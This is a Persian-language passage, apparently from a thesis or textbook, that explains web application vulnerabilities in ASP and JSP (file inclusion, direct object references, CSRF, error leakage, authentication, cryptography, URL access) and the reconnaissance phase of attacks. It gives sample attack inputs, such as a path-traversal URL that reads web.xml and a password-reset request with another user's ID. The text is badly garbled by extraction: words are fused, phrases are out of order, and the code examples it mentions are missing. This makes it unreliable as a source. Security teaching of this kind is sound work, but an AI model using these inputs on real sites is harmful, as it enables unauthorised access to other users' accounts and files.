اين آسيب پذيري در بسياري از برنامه هاي كاربردي كه امكان پذيرش نام فايلها يا خود فايلها را ازكاربر دارند،‏ وجود دارد.‏ هرچند شهرت اين حمله بيشتر روي صفحات PHP است ولي امكان وجود آندر يك صفحه ASPو JSPنيز هست.‏ توسط اين آسيب پذيري نفوذگر مي تواند عملياتي نظير اجراياز راه دور كدها،‏ نصب برنامه هاي مخرب و به دست گرفتن سيستم يا ديدن محتويات فايل هايمهمسيستم مثل(JSP ‏(در web.xmlرا انجام دهد.‏ يكي از نمونه هاي اين حمله وقتي است كه مثلا يكXMLصفحه JSPيك فايلرا به عنوان ورودي مي پذيرد و مهاجم با يك DTDخطرناك،‏ تجزيهرا وادار مي كند تا يك DTDديگر را از راه دور بارگذاري كرده و خروجي پردازشXML1كنندهشده را اعلام نمايد.‏ با استفاده از همين روش يك شركت استراليايي نشان داده است كه مي توان شبكه2هايي كه پشت ديوار آتش هستند را از درون براي پورت هاي باز جستجو كرد . يك مثال ديگر برايحمله عليه اين آسيب پذيري زمانيست كه مهاجم مي تواند فايلهايي نظير عكس يا سندهاي PDFراUpload كند و برنامه كاربردي تحت وب پسوند فايل يا كدهاي داخل فايل را بررسي نمي كند.‏بنابراين مهاجم مي تواند فايلهاي JSPخود را به جاي فايل درست،‏Uploadكند كه اگر‏(يا (ASPASPپسوند آن JSPياباشد و در پوشه اي با قابليت اجرا باشد بلافاصله اجرا خواهد شد و اگرمحتويات JSPداشته باشد و سرويس دهنده خصيصه قابليت اجرا با توجه به محتوا داشته باشد،‏ بازهماجرا خواهد شد.‏كد زير ساختار معمول آسيب پذير از اين نوع را به زبانJavaنشان مي دهد:‏كه به صورت زير مي توان از آن سو استفاده كرد:‏1 Parser2 SIFT, Sift Networks, Web Services: Teaching an old dog new tricks,http://www.ruxcon.org.au/files/2006/web_services_security.ppt46

www.victim.com/ebanking?file=../../web.xmlالبته نوع آسيب پذيري موجود در اين مثال را مي توان با آسيب پذيري اي كه در قسمت بعد مي آيدمشترك فرض كرد.‏.4.3.2 آسيب پذيري :Insecure Direct Object Reference1اين آسيب پذيري زماني اتفاق مي افتد كه برنامه نويس نقطه ارجاعبه يك شي پياده سازي شده2داخلي نظير يك فايل،‏ پوشه،‏ ركورد پايگاه داده و يا يك كليد را در پارامترهاي يك URL يا يك فرم،‏فاش مي كند.‏حال اگر كنترل دسترسي وجود نداشته باشد،‏ مهاجم با دستكاري اين نقطه ارجاع بهاشياء ديگر بدون اجازه دسترسي پيدا مي كند.‏به عنوان مثال در يك برنامه كاربردي بانكي معمولاست كه از شماره حساب به عنوان كليد اصلي استفاده كنند.‏ بنابراين،‏ براي برنامه نويس برنامه كاربرديراحتتر است كه از اين شماره مستقيما در برنامه خود استفاده كند.‏ حال اگر اين اتفاق افتاده باشد و بافرض اينكه برنامه نويس جلوي تمامي حملات ديگر نظيرSQL Injectionرا نيز گرفته باشد،‏ بازهمبرنامه كاربردي تحت وب در مقابل اينكه مهاجم به جاي شماره حساب خود،‏ شماره شخص ديگري راوارد كند،‏ نفوذپذير خواهد بود و با اين عمل مهاجم مي تواند اطلاعات اشخاص ديگر را ببيند و تغييردهد.‏ بسياري از برنامه هاي كاربردي به زبان هاي ASPو JSPاز اين آسيب پذيري رنج مي برند.‏ علتاصلي آنست كه اين آسيب پذيري در واقع يك آسيب پذيري منطقي است و برنامه نويس بايد در نقطهنقطه برنامه دسترسي افراد را براي كاري كه مي خواهند انجام بدهند كنترل كند.‏ در واقع با كوچكترينسهل انگاري از طرف برنامه نويس براي كنترل مجوز هاي دسترسي،‏ وقتي كه مرجع دسترسي به شي ازكاربر به عنوان ورودي پذيرفته مي شود،‏ اين آسيب پذيري به وجود مي آيد.‏جالب آنكه در اين نوعآسيب پذيري همه چيز كاملا روال عادي خود را دارد،‏ رشته هاي ارسالي از طرف كاربر محتويات مخرب1 Reference2 Key47

قابل تشخيص ندارند و با اين حال حمله اتفاق مي افتد.‏ بنابراين يكي ديگر از مثال هاي رايج براي اينحمله همان بود كه در قسمت قبلي بيان شد كه به گروه اين نوع حملات كه باعث مي شود بتوان ازپوشه اي كه بايد در آن قرار بگيريم خارج شويمبه كد زير از يك صفحه ASP توجه كنيد:‏Path Traversalگويند.‏همانطور كه مشاهده مي شود امكان SQL Injectionدر اين خطوط وجود ندارد.‏اين صفحه به اينصورت اجرا مي شود:‏با اين فرض كه عددResetPassword.asp?UserID=34&Password=12345634شماره كاربري ماست.‏ به وضوح ديده مي شود كه با تغيير پارامتر UserID بهيك عدد ديگر،‏ مي توان رمز عبور ساير اعضا را تغيير داد چرا كه هيچ كنترلي براي اينكه عددUserIDواقعا شماره كاربري ماست وجود ندارد.‏.5.3.2آسيب پذيري:Cross Site Request Forgery (CSRF)CSRF چيز جديدي نيست اما بسيار ساده و مخرب است.‏ در اينجا مهاجم مرورگر قرباني كه در سايتيوارد شده است را مجبور مي كند تا درخواست هايي به برنامه كاربردي آسيب پذير بفرستد تا از طرفقرباني كارهايي را انجام دهد.‏JSPاين آسيب پذيري همه چهارچوب هاي برنامه هاي كاربردي تحت وب از جمله ASPرا ودربرميگيرد.‏ در برنامه هاي كاربردي تحت وب كه به شكل زير هستند اين آسيب پذيري به شدت رايجاست:‏- برنامه هايي كه براي فعاليت مجوز سنج ندارند.‏48

برنامه هايي كه با متدGetمي توان به آنها وارد شد.‏ مانند لينك زير:‏-http://www.example.com/admin/doSomething.ctl?username=admin&passwd=admin-1برنامه هايي كه در آنها درخواست هاي داراي مجوز فقط برپايه اعتبارنامه هاييستصورت خودكار با هر درخواست فرستاده مي شوند.‏ مانندكه به2كوكي نشست اگر در برنامه وارد شدهباشد،‏ ويژگي3me” “Remember در صورتي كه به برنامه وارد نشده باشد يا اجازه ورودKerberosيكي شده باشد.‏در صورتي كه بخشي از يك شبكه داخلي باشد و با وروديActive Directoryمتاسفانه امروزه بيشتر برنامه هاي كاربردي تحت وب اعتبار سنجي كاربران را فقط برپايه اعتبارنامههايي كه به صورت خودكار فرستاده مي شوند انجام مي دهند؛ اعتبارنامه هايي نظير كوكي نشست،‏SSL گواهينامه هاي ،IP آدرس هاي ،basic authentication 45يا اعتبار نامه هاي دامنه ويندوز .اين آسيب پذيري در جاهاي مختلف به اسامي گوناگوني آمده است و تمامي نام هاي زير،‏ نام ديگرهمين آسيب پذيري مي باشند:‏Hostile،Cross Site Reference Forgery،One-Click Attacks،Session RidingAutomation Attack ،Linkingمخففنيز اغلب براي اين آسيب پذيري كاربرد دارد.‏اصطلاحي كه در اينجا براي اين آسيبXSRFپذيري انتخاب شده در6OWASP و MITRE 7 استاندارد شده است.‏1 Credentials2 Session cookie3 Token5 Windows domain6 www.owasp.org7 www.mitre.org49٤واژه نامه را ببينيد.‏

CSRF در حملات به تالارهاي گفتگو معمول است كه كاربران را وادار مي كند از كارايي سايت براياجراي دستورات مهاجم استفاده كنند.‏براي مثال تگ زير مي تواند باعث خارج شدن اعضا از سايتشود:‏اگر فرض كنيم كه يك بانك اجازه انتقال وجه با متدقربانيان را وادار كند تا پول به حساب وي واريز كنند.‏Getرا مي دهد،‏ مهاجم مي تواند با تگ زيربراي اين كار كافيست مهاجم آدرس عكس خود را در مشخصاتش بههركس بعد از ورود عكس مهاجم را مي بيند،‏ خواسته مهاجم را اجرا كند.‏URLياد شده تغيير دهد تابراي بيان خطرناكي اين حمله Jeremiah Grossmanدر صحبت خود در همايشبا عنوانoutside” 1 “Hacking Intranet Sites from the نشان داد كهBlackHat20062ممكن است بتوان يك كاربر را مجبور كرد تا در تنظيمات مسيرياب خود بدون آنكه متوجه شود تغييربه وجود آورد.‏ حتي اين قرباني اطلاعي از اينكه مسيرياب وي واسط تحت وب براي تنظيم دارد نداشت.‏Jeremiahاز يك مسيرياب كه تنظيماتش در حالت اوليه بود براي نمايش حمله استفاده كرده بود.‏اگر تگ حاوي حمله در يك برنامه كاربردي قابل ذخيره شدن باشد،‏ شانس پيدا كردن قربانياني كه بهسيستم وارد شده باشند به شدت افزايش مي يابد.‏درست مانند حملهXSS كه حالت ذخيره شدهآن بسيار موثرتر از حالت بازتابيده شدهآن است.‏(Reflected) توجه داشته باشيد كه(Stored)اگرچه لازم نيست برنامه كاربردي نسبت بهآسيب پذير باشد تا بتوان حملهCSRF را پيادهXSSCSRFسازي كرد،‏ اما يك برنامه كاربردي تحت وب با آسيب پذيري XSSبيشتر در معرض خطر1 http://www.whitehatsec.com/presentations/whitehat_bh_pres_08032006.tar.gz2 Router50

XSSاست.‏ CSRFچرا كه حملهمي تواند از يك حملهبهره برداري كند تا اعتبارنامه هاي محرمانهكه به صورت غير خودكار فرستاده مي شوند رابه راحتي بربايد‏(اين اعتبارنامه ها براي مقابله باCSRFگذاشته شده اند).‏1بسياري از كرم هاي برنامه هاي كاربردي از هر دو اين تكنيك ها بهره ميبرند.‏ پس در قسمت مقابله بايد توجه داشت كه اگر برنامه اي نسبت به حمله XSS آسيب پذير باشد،‏نمي تواند در مقابل CSRF مصون باشد.‏.6.3.2 آسيب پذيري :Information Leakage and Improper Error Handlingبرنامه هاي كاربردي مي توانند به طور غير عمدي اطلاعاتي نظير تنظيمات خود،‏ كارهاي داخلي خود ياسياست هاي محرمانه خود را در صورت بروز مشكلات يا خطا ها فاش كنند.‏اين اطلاعات مي تواند ازطريق برگرداندن پيغام هاي مختلف با ورودي هاي مختلف و نيز با استفاده از خطاهاي برنامه به دستبيايد،‏ چرا كه برنامه هاي كاربردي تحت وب اغلب در هنگام بروز خطا اطلاعات جامعي را نشان ميدهند كه براي رفع خطا توسط برنامه نويس مناسب است.‏از طرف ديگر اين اطلاعات مي تواند اهرميقوي براي اجراي يك حمله قدرتمند و خودكار باشد و به مهاجم كمك كند تا بتواند از يك آسيبپذيري سو استفاده كند.‏با توجه به تعريف اين آسيب پذيري،‏ تمام صفحات به زبان هاي مختلف از جملهJSP مي وASPتوانند كاملا آسيب پذير باشند.‏بدين ترتيب انواع اين آسيب پذيري عبارتند از:‏- جزئيات رفع اشكال وقتي كه شامل اطلاعات زيادي در خطا براي نمايش باشد مانند رد پاي2پشته ، عبارات SQL شكست خورده يا اطلاعات اشكال زدايي.‏1 Worms2 Stack traces51

توابعي كهنتايج مختلف از ورودي هاي مختلف نمايش مي دهند.‏مانند وقتي با امتحان نام-كاربري درست و رمز عبور غلط نشان دهد رمز درست نيست و با نام كاربري غلط بگويد نامكاربري درست نيست.‏ هرچند كه اين يك چيز معمول در برنامه هاي كاربردي تحت وب است.‏براي مثال شكل زير نتيجه خطاهاي يك صفحه JSPداده،‏ اجراي آن را با مشكل روبرو كرده است:‏نسبت به يك ورودي است كه در قسمت پايگاهشكل 5-2 خطاهاي يك صفحه JSP در قسمت پايگاه دادههمانطور كه مي بينيد اطلاعات بسيار زيادي نظير علت اتفاق افتادن خطا و نيز نسخه هاي مورداستفاده را به ما نشان مي دهد.‏.7.3.2آسيب پذيري:Broken Authentication and Session Managementسيستم21Authentication و مديريت نشست مناسب براي امنيت يك برنامه كاربردي وب ضرورياست.‏13ضعف ها در اين قسمت اغلب شامل عدم حفاظت درست اعتبارنامه ها و مجوز نشست ها در2 Session management3 Credentials52١تعريف در واژه نامه آمده است.‏

خلال مدت دوام آنهاست.‏اين ضعف ها مي تواند منجر به دزديده شدن مجوز كاربران يا مديريتسيستم،‏ به هم ريختن قسمت مجوز دهي و كنترل كاربران و همچنين نقض سياست هاي دسترسيسايت شود.‏اگر چه ضعف در ساز و كار اصلي Authenticationغير معمول نيست،‏ اما اين آسيب پذيري هامعمولا در قسمت هايديگر اين سيستم مانند قسمت خارج شدن،(logout) مديريت رمزهاي عبور،‏password) ،(remember سوالزمان هاي خروج خودكار،(timeout) به خاطر داشتن رمز عبورمحرمانه،‏ فراموش كردن رمز عبور و يا به روز رساني حساب كاربري پيش مي آيند.‏كد زير به زبان ASP آسيب پذيري در تابع به ياد آوردن كاربر را نشان مي دهد:‏Usernameهمانطور كه مشاهده مي شود،‏ يك مهاجم مي تواند با تغيير پارامترهاي UserRoleو2در كوكي خود،‏ مجوز مدير يا هر كاربر برنامه كاربردي تحت وبي را كه از اين تابع استفاده مي كند بهدست بياورد.‏1 Session tokens2 Cookie53

.8.3.2 آسيب پذيري :Insecure Cryptographic Storageامروزه حفاظت از اطلاعات حساس يك بخش مهم در بسياري از برنامه هاي كاربردي تحت وب شدهاست.‏ با اين حال اشتباهات نيز در رمز نگاري اطلاعات حساس بسيار گسترده شده است.‏اين اشتباهات عبارتند از:‏عدم رمز نگاري اطلاعات حساس.‏استفاده از الگوريتم هاي دست ساز.‏استفاده غير امن از الگوريتم هاي قدرتمند.‏ادامه استفاده از الگوريتم هاي ضعيف نظير RC4 ،RC3 ،SHA-1 ،MD5 و مانند آن.‏1استفاده از كليدهاي نوشته شده دائمي در كد برنامهو ذخيره اين كليدها در محلي بدون-----حفاظت.‏JSPASPيك مثال معمول اين آسيب پذيري ميتواند يك برنامهياباشد كه اطلاعات محرمانهXMLكاربران را در يك فايل MDBيامعلوم كه از طريق وب قابل دسترسي است ذخيره كند ورمزنگاري به كار رفته در قسمت رمزهاي عبور برگشت پذير باشد.‏مثال عملي تر براي اين آسيب پذيري زمانيست كه برنامه كاربردي تحت وب در هنگام تغيير پسورد درفيلدهاي صفحه رمز عبور فعلي را بدون رمز نگاري جا سازي مي كند.‏اين نشان مي دهد كه رمز هايعبور در پايگاه داده سايت نيز بدون رمز نگاري هستند و علت خطرناك بودن اين عمل آن است كه درصورت وجود آسيب پذيري هايي نظيرياSQL Injection مي توان رمز عبور سايرCSRF،XSSكاربران را به دست آورد يا به راحتي تغيير داد.‏1 Hard coding54

.9.3.2آسيب پذيري:Insecure Communicationsاغلب برنامه هاي كاربردي تحت وب براي ارتباطات حساس در قسمت رمزنگاري ‏(معمولا (SSL ضعيف(SSLعمل مي كنند.‏رمزنگاري‏(معمولابايد براي تمامي ارتباطات معتبر و حساس،‏ به خصوص درصفحات وب كه از طريق اينترنت قابل دسترسي هستند و در ارتباطات سرويس دهنده ها باهم انجامشود.‏ عدم رمزنگاري ارتباطات حساس بدين معناست كه مهاجم مي تواند اطلاعات را در حين رد و بدلشدن رصد كند و داده هاي محرمانه را به دست بياورد.‏ البته بايد در نظر داشت كه شبكه هاي مختلفدر اين موضوع با هم تفاوت دارند و ممكن است كمتر يا بيشتر مستعد اين حمله باشند.‏با اين حال،‏مهم آن است كه بدانيم معمولا در اغلب شبكه ها پيش مي آيد كه يك كامپيوتر مورد نفوذ قرار بگيرد واز آنجا مهاجمان سعي در جمع آوري اطلاعات شبكه و شنود داده هاي رد و بدل شده بنمايند.‏بايد توجه داشت كه استفاده از SSL براي ارتباطات با كاربران نهايي ضروري است،‏ هرچند كه كاربرانناآگاه دوست دارند از شبكه هاي غير امن كه سرعت بيشتر و پيچيدگي كمتري به دليل نداشتنرمزنگاري دارند استفاده كنند.‏رمزنگاري ارتباطات خود سرويس دهنده ها با هم نيز در پشت صحنه مهم است چرا كه به دليل فضاييكه با هم ارتباط دارند داده هايي كه باهم رد و بدل مي كنند حساس تر و گسترده تر بوده و در نتيجهاز اهميت بيشتري نيز برخوردار اند.‏يك نمونه معمول اين برنامه هاي آسيب پذير آنهايي هستند كه به صفحات امن به صورت غير امن نيزمي توان دسترسي داشت و برنامه كاربردي ارتباط را تبديل به يك ارتباط امن نمي كند.‏ براي مثال درهنگام ورود به سيستم لزوم استفاده ازHTTPS 1 را جدي نمي گيرند و اگر كاربري به جاي1 Hypertext Transfer Protocol over Secure Socket Layer55

از Http://example.com/login.jspاستفاده كند بازهمHttps://example.com/login.jspصفحه بازشده و عمل ورود انجام مي شود.‏.10.3.2آسيب پذيري:Failure to Restrict URL Accessدر بسياري از برنامه هاي كاربردي تحت وب تنها حفاظت براي URLهاي خاص آن است كه لينك بهآن صفحات را به كاربري كه وارد سيستمنشده است،‏ نمايش نمي دهند.‏با اين حال،‏ يك مهاجم باانگيزه،‏ ماهر و شايد خوش شانس ممكن است بتواند آن صفحات را بيايد كه در اين صورت مي تواند ازكارايي برنامه استفاده كند و داده ها را ببيند يا تغيير دهد.‏ بايد توجه داشت كه امنيت با مخفي كردنداده هاي حساس به دستنمي آيد،‏ بلكه بايد مجوزهاي دسترسي تعريف شوند و هر صفحه برنامهجداگانه قبل از انجام عمليات،‏ اين مجوزها را بررسي كند.‏حمله اي كه عليه اين آسيب پذيري انجام مي شود forced browsingناميده مي شود.‏كه در آنلينك هاي حساس با متدهايي نظير حدس زدن از بين كلمات معني دار و كاربردي پيدا مي شوند.‏در اين آسيب پذيري اگر خاصيت فهرست كردن نام فايل ها و پوشه ها،‏ وقتي سند اصلي مثلindex.html وجود ندارد،‏ توسط سرويس دهنده وب فعال باشد بهترين حالت براي حمله پيش ميآيد.‏ چرا كه مي توان نام پوشه ها و فايل هاي مهم سيستم را پيدا كرد.‏چندين نمونه معمول اين ضعف عبارتند از:‏- URLهاي خاص يا مخفي كه فقط براي كاربران يا مدير سيستم آشكار مي شود،‏ اما توسط بقيه نيزاگر آدرس آن را بدانند قابل دسترسي است.‏مانند/admin/adduser.asp يا/approveTransfer.jspكه نمونه هاي معمولي براي نامگذاري هستند.‏برنامه هاي كاربردي كه اجازه دسترسي به فايل هاي مخفي نظيرXMLهاي ثابت يا گزارش هاي-توليد شده توسط سيستم را مي دهند كه در واقع با استتار آنها امنيت را تامين كرده اند.‏56

- صفحاتي كه مجوز دسترسي را طلب مي كنند اما از رده خارج يا ناكافي هستند.‏ يعني بازهم مي توانبا تغيير بعضي چيزها مثل كوكي ها به آنها دسترسي پيدا كرد يا اينكه مجوزها قديمي بوده و نياز بهبازنگري دارد.‏- برنامه هايي كه فقط در صفحاتي كه به سمت كاربر مي فرستند مجوز ها را طلب مي كنند و اگرURL-مقصد كه داده ها به طرف آن ارسال مي شوند پيدا شود و داده هاي درست به سمت آن ارسالشوند،‏ عمليات نفوذ صورت مي گيرد.‏فايل هايي كه در صفحاتي كه مجوز ها را بررسي مي كنند گنجانده مي شوند،‏ اما اگر خود به تنهايياجرا شوند عملياتي را انجام مي دهند.‏ در زير يك مثال از همين مورد را كه در صفحات ASPبسيار فراگير است بيان مي كنيم.‏فرض كنيد كدهاي زير متعلق به يك صفحه كنترل اخبار سايت به زبان ASP است:‏و JSPهمانطور كه مشاهده مي شود،‏ مجوز مديريت لازم است تا صفحه Add_New_News.aspاجراحال اگر شود.‏ Add_New_News.aspيكبار ديگر مجوز دسترسي مديريت را داخل خود بررسينكند،‏ مهاجم مي تواند در صورت پيدا كردن نام اين فايل،‏ به اين فايل بدون داشتن مجوز،‏ مستقيمادسترسي پيدا كند و به هدف خود دست يابد.‏4.2. خلاصه فصل:‏مشكل اساسي برنامه هاي كاربردي تحت وب اين است كه كاربران هر داده دلخواهي را مي توانند بهطرف آنها بفرستند.‏تاكنون آسيب پذيري هاي زيادي در برنامه هاي كاربردي تحت وب شناخته شده57

21اند . كه حملات زيادي نيز عليه اين آسيب پذيري ها انجام مي شوند . از آنجايي كه ميزان اين حملاتو آسيب پذيري ها بسيار زياد است،‏ در اين فصل10آسيب پذيري مهم برنامه هاي كاربردي تحت وبكه بنا به آمار و ارقام سازمان هاي معتبر به دست آمده اند،‏ به ترتيب فراگير بودنشان بررسي شدند.‏ بهطور قطع مي توان گفت كه بسياري از برنامه هاي كاربردي تحت وب نسبت به اين موارد آسيب پذيرهستند.‏ روزانه تعداد زيادي از برنامه هاي كاربردي تحت وب آسيب پذير در سايت هاي امنيتي ثبت ميشوند كه نزديك به همه آنها در مقابل يكي از اين103آسيب پذيري مهم،‏ ضعف داشته اند ..5.2منابع فصل:‏1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's HandbookDiscovering and Exploiting Security Flaws", Wiley Publishing Inc., 20082. Open Web Application Security Project, http://www.owasp.org3. Http://www.mitre.org/1 http://www.owasp.org/index.php/Category:Vulnerability2 http://www.owasp.org/index.php/Category:Attack3 http://www.milw0rm.com/webapps.php - http://www.securityfocus.com/bid - http://bugreport.ir/?archive58

فصل سومبررسي مراحل حمله عليه برنامه هاي كاربردي تحت وب به زبان هاي:JSP و ASP.1.3مراحل حمله عليه برنامه هاي كاربردي تحت وب:‏براي اينكه بتوانيم امنيت لازم را در يك برنامه كاربردي تحت وب تامينكنيم،‏ ابتدا بايد از آسيبپذيري ها مطلع باشيم و سپس روش هاي حمله نفوذگران را بشناسيم.‏ آسيب پذيري هاي مهم در فصلقبل مشخص شدند.‏حال براي آنكه بتوانيم دفاع لازم را در مقابل حملات داشته باشيم بايد مراحلي راكه يك نفوذگر براي انجام عمليات خود انجام مي دهد بشناسيم.‏ در واقع،‏ وب سايت يا برنامه كاربرديتحت وب وقتي امن خواهد بود كه بتواند در هر مرحله حمله جلوي عمليات مهاجمان را بگيرد.‏در مورد اهميت جلوگيري از اجراي اين مراحل همان كافيست كه بدانيم،‏ برنامه هاي كاربردي تحتوب آسيب پذيريكه جلوي اجراي اين مراحل را توسطنفوذگر گرفته اند،‏ بسيار كمتر مورد نفوذ قرارمي گيرند؛ چرا كه علاوه بر سخت تر كردن راه نفوذ،‏ آسيب پذيري خود را نيز پنهان مي كنند.‏حملات حساب شده و موثر عليه برنامه هاي كاربردي تحت وب به دو مرحله اساسي تقسيم مي شوند.‏اولين مرحله،‏ شناسايي و جمع آوري اطلاعات است و دومين مرحله،‏ پيدا كردن آسيب پذيري ها باتوجه به اطلاعات جمع آوري شده مي باشد.‏2.3. شناسايي و جمع آوري اطلاعات:‏همان طور كه از نام اين قسمت بر مي آيد،‏ اين مرحله به شناسايي و جمع آوري هرچه بيشتر اطلاعاتمربوط است.‏ عمليات نفوذ به اين مرحله نياز اساسي دارد و هرچه اين شناسايي كامل تر و گسترده تر59

باشد درصد موفقيت عمليات بالاتر مي رود.‏ اگرچه بحثمان در اينجا راجع به برنامه هاي كاربردي تحتوب است،‏ اما بايد توجه داشت كه عمليات شناسايي در حالت واقعي بسيار فراتر از وب بوده و حتيپيداكردن تمام اطلاعات سرويس دهنده،‏برنامه نويسان،‏ خدمات شركت،‏ سرويس دهنده هاي كناري،‏برنامه هاي مشابه و نظاير آن را در برميگيرد.‏در اين حالت حتي پيدا كردن روابط سايت هاي ديگر،‏سرويس دهنده هاي ديگر و انسان ها با هدف مورد نظرمان،‏ بسيار اهميت دارد و در واقع هرچيزمرتبطي در مرحله شناسايي پيدا مي شود.‏در شناسايي برنامه هاي كاربردي تحت وب،‏ هدف نهايي آن است كه ما اطلاعات كاملي راجع به فايلها وپوشه هاي موجود روي سايت مورد نظر،‏ تكنولوژي استفاده شده،‏ برنامه هاي كاربردي به كار رفته وكارايي آن به دست آوريم.‏در صورتي كه برنامه كاربردي تحت وب در دسترسباشد مي توان اينمرحله را تكميل شده فرض كرد،‏ چرا كه تمامي آنچه را كه مي خواهيم به دست آوريم،‏ پيشاپيشداريم.‏براي انجام عمليات شناسايي فايل ها و پوشه ها ابزاري خودكار وجود ندارد كه %100كارايي داشتهباشد لذا همواره بعد از شناسايي توسط ابزارهاي خودكار،‏ خود به صورت دستي عمليات شناسايي راانجام مي دهيم و از خروجي برنامه هاي خودكار نيز براي بالاتر بردن كارايي بهره مي بريم.‏ابزارهايمطرح و مشهور شناسايي نام فايل ها و پوشه ها عبارتند از:‏ParosBurp Spider (Part of Burp Suite)WebScarabWikto (Spider)Acunetix (Crawler)اين ابزارها كمي نسبت به اسكريپت ها هوشمند عمل كرده و لينك هاي داخل آنها را تا حدود زياديشناسايي مي كنند،‏ اما بهرحال به طور كامل نخواهند توانست از پس يك منوي پيچيده با زبان60

،JavaScript يك سايت كه براي انجام عمليات نياز به نشست معتبر دارد يا سايتي كهداده هايمعتبر موجب پيشروي و ديدن URLها مي شود،‏ برآيند.‏بعد از اينكه نام فايل ها و پوشه هاي سايت كه در خود سايت به آنها لينك داده شده بود،‏ پيدا شدند،‏مرحله بعدي شناسايي فايل ها و پوشه ها توسط حدس زدن آغاز مي گردد.‏در اين قسمت ابزارهايخودكار توسط كلماتي كه به آنها داده مي شوند شروع به كار كرده و تك تك كلمات را روي پوشه ها ونام فايل ها با جايگشت پسوندهاي آنها امتحان مي كنند ‏(اين پسوندها علاوه بر پسوند برنامه هاي وبمانند ASP و JSPشامل حالتهايي نظير~1 ،BAK ،ASP1و نظاير اينها نيز هستند.)‏ و در صورتوجود فايل يا پوشه،‏ آن را اعلام مي كنند.‏از آنجايي كه كلمات مورد استفاده در يك برنامه با برنامهديگر مي تواند متفاوت باشد،‏ لزوم كنترل دستي وجود دارد.‏براي مثال اگر در اول نام بعضي پوشه ها،‏عبارت En_قرار دارد،‏ بايد تمامي كلمات داده شده به برنامه،‏ با اين پيشوند نيزروي سايت امتحانNewDocument.jspViewDocument.jspشوند.‏يا اگر در جايي فايل هايي با نامووجودDeleteDocument.jspدارند،‏ بايد فايل هايي با نام هاي EditDocument.jspونيز موردبررسي قرار بگيرند.‏ در كنار اين بايد تمامي داده هاي فرستاده شده از سمت كاربر به سرويس دهنده وبالعكس را زير نظر گرفته و به دنبال اطلاعات پنهاني اي باشيم كه ارسال يا دريافت مي شوند.‏ چرا كهشايد در يك قسمت غير فعال شده صفحه،‏ لينكي به يك صفحه يا تابع پراهميت وجود داشته باشد و ماآن را در نظر نگرفته باشيم،‏ يا اينكه شايد با فرستادن داده هاي غير فعال شده به يك صفحه بتواناطلاعات مهمي به دست آورد.‏با پيدا كردن هرچه بيشتر نام فايل ها،‏ احتمال پيدا كردن آسيب پذيري ها به مراتب بيشتر مي گردد.‏تنها محدوديت هايي كه در ادامه اين مرحله وجود دارد،‏ محدوديت زمان و تصور از نام فايل ها و پوشههاست،‏ چرا كه اين مرحله مي تواند تا پيدا شدن نام تمامي فايل ها و پوشه ها پاياني نداشته باشد.‏61

در مرحله ديگر شناسايي با توجه به فايل ها و مقادير دريافتي از سرويس دهنده،‏ تكنولوژي هاياستفاده شده و نسخه آنها شناسايي مي شود.‏بعد از اين قسمت تمامي برنامه هاي كاربردي تحت وبديگركه با سايت يا برنامه يكپارچه شده اند و در آن استفاده شده اند مانند تالارهاي گفتگو،‏ گالريعكس و مانند آن،‏ شناسايي مي شوند.‏ داشتن اين اطلاعات به نفوذگر كمك مي كند تا بتواند با استفادهاز آسيب پذيري در اين نرم افزارهاي جانبي،‏ كه ممكن است از قبل آسيب پذير باشند يا كدهايشانبراي پيدا كردن آسيب پذيري در دسترس باشد،‏ به سايت يا سرويس دهنده مورد نظر خود دست يابد.‏يكي ديگر از كارهايي كه نفوذگران همزمان با جستجوي خودكار روي برنامه هاي كاربردي تحت وب ياسايت ها انجام مي دهند،‏ پيمايش سايت به وسيله Googleو يافتن اطلاعاتمهم از آن است.‏براينمونه،‏ حالت هاي بسياري ديده شده كه سرويس دهنده به علت وجود نقص يا در زمان به روز رساني وتغيير نسخه،‏ نام صفحات مخفي يا كدهاي صفحات سايت خود را فاش كرده و در همان زمان نيز موتورCacheجستجوي Googleآنها را ثبت كرده است.‏كه با استفاده از قابليتاين موتور جستجويقوي،‏ مي توان آنها را پيدا كرد و از آنها استفاده كرد.‏پس از پايان عمليات شناسايي،‏ داده هاي به دست آمده از ابزارهاي خودكار و جستجوي دستي در كنارهم طبقه بندي مي شوند و مرحله بعد با نام پيدا كردن آسيب پذيري ها آغاز مي گردد.‏3.3. پيدا كردن آسيب پذيري ها برنامه هاي كاربردي تحت وب به زبان هاي:JSP و ASPهمواره براي پيدا كردن آسيب پذيري برنامه هاي كاربردي دو حالت وجود دارد:‏62

1حالت اول پيدا كردن آسيب پذيري ها در حالت جعبه سياه است،‏ يعني حالتي كه ما به كدهاي يكبرنامه كاربردي تحت وب دسترسي نداريم و فقط از طريق وب با آن ارتباط داريم و حالت دوم زماني2است كه ما كدهاي يك برنامه كاربردي تحت وب را در اختيار داريم و در اين كدهاي منبع به دنبالآسيب پذيري مي گرديم3‏(حالت جعبه سفيد ).با اينكه حالت جعبه سياه به اندازه جعبه سفيد موثر نيست اما بايد توجه داشت كه هر دوي اين روشها در كنار هم،‏ ما را به بهترين نتيجه مي رساند.‏ اينطور نيست كه در حالت جعبه سفيد ديگر استفادهاز متدهاي جعبه سياه بي اهميت باشد و بگوييم به دليل آنكه مشكلاتي كه در حالتجعبه سياه پيدامي شوند در كدها وجود دارند لذا هميشه در حالت جعبه سفيد نيز حتما پيدا خواهند شد.‏چرا كهآسيب پذيري هايي كه با استفاده از متدهاي جعبه سياه پيدا مي شوند،‏ با سرعت بيشتري به دست ميآيند و نيز ممكن است در هنگام خواندن كدها نتوانيم همه چيز ها مانند يك تابع تودرتو را به درستيتحليل كنيم.‏.1.3.3يافتن آسيب پذيري ها در حالت جعبه سياه:‏در اين حالت از آنجايي كه كدها را در اختيار نداريم و نام تمام فايل ها و پوشه ها را نيز نمي دانيم،‏مرحله شناخت نقش بسيار مهمي براي موفقيت اين مرحله بازي مي كند.‏در اين مرحله از حمله نفوذگران موارد زير را به صورت دستي و خودكار بررسي مي كنند:‏.1.1.3.3بررسي آسيب پذيري هاي منتشر شده:‏1 Black Box2 Source Code3 White Box63

